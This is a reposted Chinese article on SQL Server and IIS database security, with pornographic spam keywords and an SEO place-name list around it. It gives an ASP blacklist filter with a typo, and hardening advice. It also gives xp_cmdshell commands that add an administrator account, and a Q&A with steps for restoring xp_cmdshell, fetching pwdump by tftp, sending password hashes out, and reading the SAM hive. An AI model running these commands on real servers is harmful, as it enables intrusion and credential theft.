国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > SQL Server > 正文

調整重心-從IIS到SQL Server數據庫安全

2024-08-31 00:50:29
字體:
來源:轉載
供稿:網友

    從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了,大家還想去手工操作這些IIS漏洞么?讓我們調整重心,去看看服務器常用的數據庫吧。

    一般網站都是基于數據庫的,特別是asp、php、jsp這樣的用數據庫來動態顯示的網站。很多網站可能多注意的是操作系統的漏洞,但是對數據庫和這些腳本的安全總是忽略,也沒有太多注意。

    從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關于數據庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細。對于腳本安全的解決,也可以通過過濾來實現,可以參考我以前寫的。對于ASP來說,可以使用下面這個過濾函數:

Function Filter_SQL(strData)

 Dim strFilter
 Dim blnFlag
 Dim i

 strFilter="',;,//,--,@,_,exec,declare"   '需要過濾的字符,可以自己添加,","是分隔符
 blnFlag=Flase   '過濾標志,如果產生過濾,那么就是真
 
 Dim arrayFilter
 arrayFilter=Split(strFilter,",")
 For i=0 To UBound(arrayFilter)
   If Instr(strData,arrayFilter(i))>0 Then
    blnFlag=True
    Exit For
   End If
 Next

 If blnFlag Then
   Response.Redirect "wrong.asp"
   '當發現有過濾操作時,導向一個預定頁面。反正正常訪問用不到的連接請求,總不是好事情。
 Else
   Filter_SQL=strData
 End If

End Function

    對于MS SQL Server數據庫來說,安全問題不僅僅局限在腳本上了。“天殺的微軟”的系統性很強,整個基于WINDOWS系統的應用都有很強的關聯性,對SQL Server來說,基本可以把數據庫管理和系統管理等同起來了。SQL Server默認的管理員帳號“sa”的密碼是空的,這給多數NT服務器產生一個安全漏洞。小榕的“SQLRCMD”,就能夠利用獲得的數據庫管理員帳號執行系統命令。

    在SQL Server中有很多系統存儲過程,有些是數據庫內部使用的,還有一些就是通過執行存儲過程來調用系統命令。

    系統存儲過程:xp_cmdshell

    就是以操作系統命令行解釋器的方式執行給定的命令字符串。它就具體語法是:xp_cmdshell {'command_string'} [, no_output]

  xp_cmdshell在默認情況下,只有 sysadmin 的成員才能執行。但是,sysadmin也可以授予其他用戶這個執行權限。在早期版本中,獲得 xp_cmdshell 執行權限的用戶在 SQL Server 服務的用戶帳戶中運行命令。可以通過配置選項配置 SQL Server,以便對 SQL Server 無 sa 訪問權限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec。現在對于SQL Server2000,只要有一個能執行該存儲過程的帳號就可以直接運行命令了。

    對于 NT 和 WIN2000,當用戶不是 sysadmin 組的成員時,xp_cmdshell 將模擬使用 xp_sqlagent_PRoxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則 xp_cmdshell 將失敗。所以即使有一個帳戶是master數據庫的db_owner,也不能執行這個存儲過程。

    如果我們有一個能執行xp_cmdshell的數據庫帳號,比如是空口令的sa帳號。那么我們可以執行這樣的命令:

exec xp_cmdshell 'net user refdom 123456 /add'
exec xp_cmdshell 'net localgroup administrators refdom /add'

上面兩次調用就在系統的管理員組中添加了一個用戶:refdom

  當我們獲得數據庫的sa管理員帳號后,就應該可以完全控制這個機器了。可見數據庫安全的重要性。

  下面這些存儲過程都是對Public可以執行的:
xp_fileexist,用來確定一個文件是否存在。
xp_getfiledetails,可以獲得文件詳細資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務器名稱。

  還有可以操作注冊表的存儲過程,這些不是對Public可以執行的,需要系統管理員或者授權執行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread (對Public可以執行)
Xp_regremovemultistring
Xp_regwrite


    SQL Server的安全配置

    除跟著微軟打滿所有補丁外,還需要加強數據庫的安全。
  首先,你需要加強象sa這樣的帳號的密碼,跟系統帳號的使用配置相似,一般操作數據庫不要使用象sa這樣的最高權限的帳號,而使用能滿足你的要求的一般帳號。

    接著對擴展存儲過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都drop吧,一般也用不著。

執行:
use master
sp_dropextendedproc 'xp_cmdshell'

    去掉guest帳號,阻止非授權用戶訪問。

    去掉不必要的網絡協議。

    加強對數據庫登陸的日志記錄,最好記錄所有登陸事件。可以用下面的簡單DOS命令來查看日志:

findstr /C:"登錄" d:/Microsoft SQL Server/MSSQL/LOG/*.*

    用管理員帳號定期檢查所有帳號,是否密碼為空或者過于簡單,比如下面的語句:

Use master
Select name,PassWord from syslogins where password is null

    用下面語句對所有帳號,檢查對存儲過程和擴展存儲過程的執行權,提防不必要的執行權限擴散:

Use master
Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN ('X','P') AND sysobjects.id = sysprotects.id

    加強數據庫的安全是非常重要的,有的數據庫服務器是和WEB服務器隔離開的,這就同MAIL服務器一樣,數據庫的日志可能就基本很少去查看,這將會成為管理員的一個疏忽點。類似DNS、MAIL等等,數據庫服務器往往成為各種入侵的跳板。

    下面是一些關于數據庫的問答和技巧:

    1、獲得SA權限后,卻不能執行xp_cmdshell存儲過程怎么辦?
  答:可能是已經把xp_cmdshell等擴展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

    2、通過數據庫用pwdump獲得系統管理員密碼
先上傳一個pwdump
tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt
然后再用解密工具l0pht等等破解這些密碼。

    3、從數據庫讀取系統管理員密碼。
    能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL Server能讀出來是使用的“LocalSystem”帳號,這個帳號比administrator更高一級。可以使用下面這個存儲過程。不過讀出來的密碼是經過加密后的,然后再解密吧。
xp_regread 'HKEY_LOCAL_MACHINE','SECURITY/SAM/Domains/Account','F' 

    當然,數據庫服務器的安全和缺陷還有很多,還需要更多的研究。我對數據庫的學習還是起步階段,限于自己的水平,上面的難免有錯,歡迎大家指正和指教。如果你有更多關于數據庫的安全資料或者疑問,歡迎聯系我,Email: refdom@263.net 


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 巴南区| 驻马店市| 郎溪县| 沐川县| 北海市| 固原市| 象山县| 望都县| 潮州市| 嘉峪关市| 乌兰浩特市| 化德县| 林西县| 永清县| 凤山县| 谷城县| 集贤县| 关岭| 漯河市| 湛江市| 藁城市| 慈利县| 武鸣县| 黄平县| 甘泉县| 朝阳县| 肥东县| 定南县| 西峡县| 南安市| 凤山县| 德安县| 郑州市| 万载县| 台东县| 岳阳县| 太保市| 武平县| 东安县| 武城县| 许昌县|